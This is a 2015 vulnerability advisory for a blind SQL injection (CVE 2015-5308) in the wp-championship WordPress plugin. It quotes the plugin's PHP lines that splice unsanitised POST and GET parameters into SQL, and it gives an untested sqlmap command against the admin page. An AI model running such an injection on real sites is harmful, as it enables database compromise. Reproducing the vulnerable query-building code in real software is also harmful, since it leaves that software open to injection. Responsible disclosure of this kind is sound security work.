Blind SQL injection in wp-championship wordpress plugin v5.8

[Larry Cashdollar <larry0 () me com>]

Title: Blind SQL injection in wp-championship wordpress plugin v5.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-10-22
Download Site: https://wordpress.org/plugins/wp-championship/
Vendor: https://profiles.wordpress.org/tuxlog/ http://www.tuxlog.de/
Vendor Notified: 2015-10-23, fixed in v5.9
Vendor Contact: webmaster () tuxlog de
Description: wp-championship is a plugin for wordpress letting you play a
guessing game of a tournament e.g. soccer.
Vulnerability:
The following lines do not properly sanitize user input resulting in SQLi,
injection points are POST request
To user, isadmin,mail service,mailresceipt,stellv,champtipp and tippgroup.
Also GET requests to userid.

The code from cs_admin_users.php is as follows:

69                                 $sql="select count(*) as anz from
$cs_users where userid=".$_POST['user'].";";
 70                                 $results = $wpdb->get_row($sql);
.
.
 74                                         $sql = "insert into ". $cs_users
." values (". $_POST['user'] . "," . $_POST['isadmin'] . "," . $
_POST['mailservice'] . "," .$_POST['mailreceipt'] . "," . $_POST['stellv'] .
",".$_POST['champtipp'].",'1900-01-01 00:00:00',-1,'".$_POST
['tippgroup']."');";
 75                                         $results = $wpdb->query($sql);
.
.
86                                 $sql = "update ".$cs_users." set admin="
. $_POST['isadmin'] . ", mailservice=" . $_POST['mailservice'] .    ",
mailreceipt=" . $_POST['mailreceipt'] . ",stellvertreter=" .
$_POST['stellv'] . ",champion=" . $_POST['champtipp'] . ", tippgroup='".$
_POST['tippgroup']."' where userid=".$_POST['user'].";";
 87                                 $results = $wpdb->query($sql);
.
.
98                         $sql= "delete from ".$cs_users." where
userid=".$_GET['userid'].";";
99                         $results = $wpdb->query($sql);
.
.
110                         $sql= "select * from  $cs_users where
userid=".$_GET['userid'].";";
111                         $results = $wpdb->get_row($sql);
CVEID: 2015-5308
OSVDB:
Exploit Code:
Untested: 
$ sqlmap -u 
'http://wp.site:80/wp-admin/wp-championship/cs_admin_users.php&userid='
--data="isadmin=1&user" --cookie=AUTH_COOKIE_HERE --level=5 --risk=3
Screen Shots:
Advisory: http://www.vapidlabs.com/advisory.php?v=155